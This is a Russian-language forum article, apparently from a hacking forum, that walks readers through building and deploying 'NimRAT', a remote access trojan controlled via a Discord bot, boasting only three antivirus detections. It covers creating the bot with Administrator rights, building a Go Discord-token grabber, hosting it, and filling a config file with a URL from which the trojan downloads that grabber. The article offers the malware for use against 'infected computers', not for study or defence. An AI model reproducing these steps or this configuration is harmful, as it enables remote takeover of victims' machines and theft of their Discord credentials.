Загрузка...

Ратник через дискорд бота всего на 3 детекта

Тема в разделе Статьи создана пользователем WipingAllOut 18 янв 2025. 952 просмотра

  1. WipingAllOut
    WipingAllOut Автор темы 18 янв 2025 4 17 янв 2025
    В данной статье я расскажу, как настроить и пользоваться моим ратником с открытым исходным кодом - NimRAT.

    Для написания использованы языки программирования Nim (для основной программы) и Go (для получения дискорд токенов). Связь с зараженными компами происходит через дискорд бота. На вирустотале у основной программы всего 3 детекта:
    [IMG]
    [IMG]
    Установка
    Переходим по ссылке - https://git-scm.com/downloads/win
    Скачиваем установщик:

    [IMG]
    Запускаем установщик и просто нажимаем далее.
    Переходим по ссылке - https://go.dev/doc/install
    Скачиваем установщик:

    [IMG]
    Запускаем установщик и просто нажимаем далее.
    Есть два способа - автоматический и вручную. Чтобы все точно работало, я покажу ручной способ. Если вас устраивает автоматическая установка - используйте choosenim. Скачайте установщик, запустите его и перезагрузите компьютер.

    Теперь к ручной установке.
    Создаем папку, где будут храниться Nim и MinGW. Для примера будем использовать C:\Nim\MinGW.
    Открываем https://nim-lang.org/install_windows.html и внизу страницы скачиваем MinGW:

    [IMG]
    Распаковываем скачанный архив в C:\Nim\MinGW:
    [IMG]
    Добавляем папку C:\Nim\MinGW\bin в path:[IMG]
    Скачиваем nim на той же странице:
    [IMG]
    Распаковываем архив в C:\Nim:
    [IMG]
    Запускаем finish.exe и перезагружаем компьютер.
    Также нам понадобится дискорд бот
    Открываем https://discord.com/developers/applications
    Нажимаем "New Application" и даем любое имя:
    [IMG]
    На панели слева выбираем Bot:

    [IMG]
    Перевыпускаем токен и куда-нибудь его сохраняем (он нам пригодится позже):
    [IMG]
    Листаем чуть ниже, нажимаем на отмеченные кнопки и сохраняем изменения:
    [IMG]
    Чтобы получить ссылку для добавления бота на сервер, на панели слева выбираем OAuth2:
    [IMG]
    Листаем ниже до OAuth2 URL Generator и отмечаем bot:
    [IMG]
    Ниже отмечаем Administrator и получаем нашу ссылку для добавления:
    [IMG]
    Открываем ссылку и добавляем бота на любой сервер.
    Заходим в настройки дискорда и включаем Developer Mode:

    [IMG]
    Далее создаем текстовый канал на сервере, куда добавили бота. В этот канал будут присылаться уведомления о новых пользователях. После копируем его ID и куда-нибудь сохраняем:
    [IMG]

    Теперь, когда все готово, можно приступать к самому ратнику.
    Открываем cmd и переходим в папку, где будет храниться ратник. Для примера будем использовать C:\.
    ⁡cd C:\

    Клонируем репозиторий и переходим в него:
    ⁡git clone https://github.com/WipingAllOut/NimRAT

    cd NimRAT

    Небольшая ремарка - по умолчанию NimRAT использует заранее скомпилированный мной граббер дискорд токенов. Если хотите использовать свой, разверните спойлер ниже.

    Переходим в папку с граббером токенов:
    ⁡cd GoTokenGrabber

    Собираем граббер:
    ⁡go build

    Полученный tokens.exe куда-нибудь загружаем (я использовал собственный гитхаб репозиторий) и сохраняем ссылку на файл. Она понадобится нам позже.
    Выходим из папки с граббером:
    ⁡cd ..
    Открываем проводник в этой папке:
    ⁡explorer .

    Открываем папку modules, в ней находим файл config.nim и открываем в любом текстовом редакторе.


    Видим следующие строки:
    Код
    let newUsersChannelId* = ""
    let tokenDecryptorUrl* = "https://github.com/WipingAllOut/NimRAT/raw/refs/heads/main/GoTokenGrabber/tokens.exe"
    let discordToken* = ""
    newUsersChannelId - айди дискорд канала, в который будут отсылаться уведомления о новых пользователях.
    tokenDecryptorUrl - ссылка на .exe граббера токенов.
    discordToken - токен вашего дискорд бота.
    Вписываем в кавычки нужные значения. Если не компилировали граббер токенов - оставляем tokenDecryptorUrl как есть.


    Возвращаемся на папку назад, запускаем compile.bat и выбираем 3 опцию:

    [IMG]
    Ждем компиляции. Готовый файл будет в той же папке с названием program.exe.


    Пример использования:
    [IMG]

    Большое спасибо за внимание! Надеюсь, эта статья была кому-то полезна.
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
  2. async
    Проверено
     
Загрузка...
Top